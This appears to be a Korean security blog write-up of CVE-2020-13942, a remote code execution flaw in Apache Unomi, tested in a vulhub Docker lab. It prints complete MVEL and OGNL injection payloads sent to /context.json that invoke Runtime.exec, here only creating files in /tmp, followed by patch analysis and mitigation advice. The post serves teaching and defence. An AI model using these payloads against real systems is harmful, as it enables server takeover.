1. Apache Unomi
- Apache Unomi는 고객 및 방문자 등의 데이터를 관리하고, 개인정보 규범들(ex: GDPR)을 준수하며, 고객의 경험을 개인화 하는 자바 오픈소스 고객데이터플랫폼(CDP- Customer Data Platform)
2. 취약점
- 취약한 버전의 Apache Unomi를 사용하면 /context.json을 통해 MVEL 및 OGNL 표현식을 사용하여 Unomi 애플리케이션 권한으로 원격 코드 실행이 가능
- 해당 취약점은 Unomi 1.5.1에서 부분적으로 패치가 되었음
취약한 버전 : Apache Unomi < 1.5.2
2.1 취약점 실습
* https://unomi.apache.org/tutorial.html를 참조해 직접 설치하려 했으나 karaf 실행 후 멈춤 현상이 발생하여 도커 사용
- 취약 서버 구동 후 정상 접근 확인
git clone https://github.com/vulhub/vulhub
cd /vulhub/unomi/CVE-2020-13942
docker-compose up -d
2.1.1 MVEL 표현식
MVEL 표현식 (MVLEX Expression Language)
- 자바 플랫폼을 위한 동적/정적 유형의 임베디드 가능한 표현 언어이자 런타임
- 프록시 설정 후 버프슈트를 통한 요청 값 변조
① POST 메소드로 /context.json URL 요청
② /tmp 디렉터리에 임의의 파일을 생성하는 MVEL 표현식 삽입
POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/MVELTest\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음
- 피해 시스템의 /tmp 디렉터리를 확인해보면 MVLETest 파일이 생성
2.2.2 OGNL 표현식
OGNL (Object Graph Navigation Language)
- 자바 언어가 지원하는 범위보다 더 단순한 식을 사용하면서 속성을 가져와 설정하는 것을 허용하고 자바 클래스의 메소드를 실행하는 오픈 소스 표현식 언어(EL)
- 프록시 설정 후 버프슈트를 통한 요청 값 변조
① POST 메소드로 /context.json URL 요청
② /tmp 디렉터리에 임의의 파일을 생성하는 OGNL 표현식 삽입
POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/OGNLTest\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음
- 피해 시스템의 /tmp 디렉터리를 확인해보면 OGNLTest 파일이 생성
2.2 분석
- [사진 9]는 CVE-2020-11975(Unomi OGNL 표현식 RCE)에 적용된 패치
- OGNL 표현식에 대해서는 허용/차단 목록을 통해 실행을 제한하였지만, MVEL 표현식은 적용되지 않음_[사진 1] Unomi 1.5.1 부분 패치 적용
- MVEL 표현식에 대한 실행 제한은 Unomi 1.5.2부터 적용된 것으로 판단됨.
3. 대응방안
3.1 서버측면
① 최신 버전 또는 1.5.2 버전으로 즉시 업데이트 적용
- 1.5 이전 버전은 OGNL 및 MVEL 표현식에의한 RCE 가능
- 1.5.1 버전은 MVEL 표현식에 의한 RCE 가능
3.2 네트워크 측면
① 탐지 룰 적용 및 모니터링, 차단
- PoC를 통해 POST 메소드를 통한 /context.json URL 요청이 확인되므로 해당 문자열을 탐지
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2020-13942
- https://github.com/eugenebmx/CVE-2020-13942
- https://github.com/vulhub/vulhub
- https://sysdig.com/blog/cve-2020-13942-uomi/
- https://unomi.apache.org/security/cve-2020-13942.txt
'취약점 > RCE' 카테고리의 다른 글
SMB RCE 취약점 (MS17-010, CVE-2017-0143 ~ 0148) (0) | 2022.12.07 |
---|---|
Confluence Server 및 Data Center RCE 취약점 (CVE-2022-26134) (0) | 2022.12.04 |
Struts2 REST Plugin XStream RCE 취약점 (CVE-2017-9805) (0) | 2022.11.24 |
자바 역직렬화 취약점 (0) | 2022.11.23 |
Spring Cloud Function RCE (CVE-2022-22963) (0) | 2022.11.15 |